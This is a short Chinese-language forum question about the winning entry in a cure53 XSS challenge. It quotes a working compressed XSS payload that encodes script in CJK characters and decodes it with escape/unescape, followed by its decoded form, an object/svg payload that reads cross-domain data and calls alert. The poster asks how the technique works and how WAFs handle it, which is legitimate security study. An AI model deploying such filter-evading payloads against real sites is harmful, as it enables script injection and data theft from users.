我正在查看一个涉及XSS的安全比赛(link)的结果,并发现了一些精彩而可怕的JS XSS负载。获胜者(@kinugawamasato)使用了一种JavaScript压缩技术,这对我来说完全是另一个世界:
压缩负载:
真正发生的事情:
压缩负载:
https://cure53.de/xmas2013/?xss=<scriPt>document.write(unescape(escape(location)
.replace(/u(..)/g,'$1%')))<\/scriPt>㱯扪散琠楤㵥污獳楤㵣汳楤㨳㌳䌷䉃㐭㐶うⴱㅄ〭
䉃〴ⴰ〸ぃ㜰㔵䄸㌠潮牯睥湴敲㵡汥牴⠯繷⸪ℱ⼮數散⡲散潲摳整⠰⤩⤾㱳癧湬潡搽攮摡瑡畲氽慬汛攮
牯睤敬業㴳㍝⬧㽳慮瑡㵀Ⅱ汬潷彤潭慩湳㴧⭤潭慩渻攮捨慲獥琽❵瑦ⴷ✾
真正发生的事情:
<object id=e classid=clsid:333C7BC4-460F-11D0-BC04-0080C7055A83 onrowenter=alert(/~w.*!1/.exec(recordset(0)))><svg onload=e.dataurl=all[e.rowdelim=33]+'?santa=@!allow_domains='+domain;e.charset='utf-7'>
这个技术已经有文档记录了吗?我能否学习一下它的工作原理?是否已经有自动化的javascript压缩器可以实现这一点?WAF会如何对这样的有效负载做出反应?
您可以在这里看到更多示例。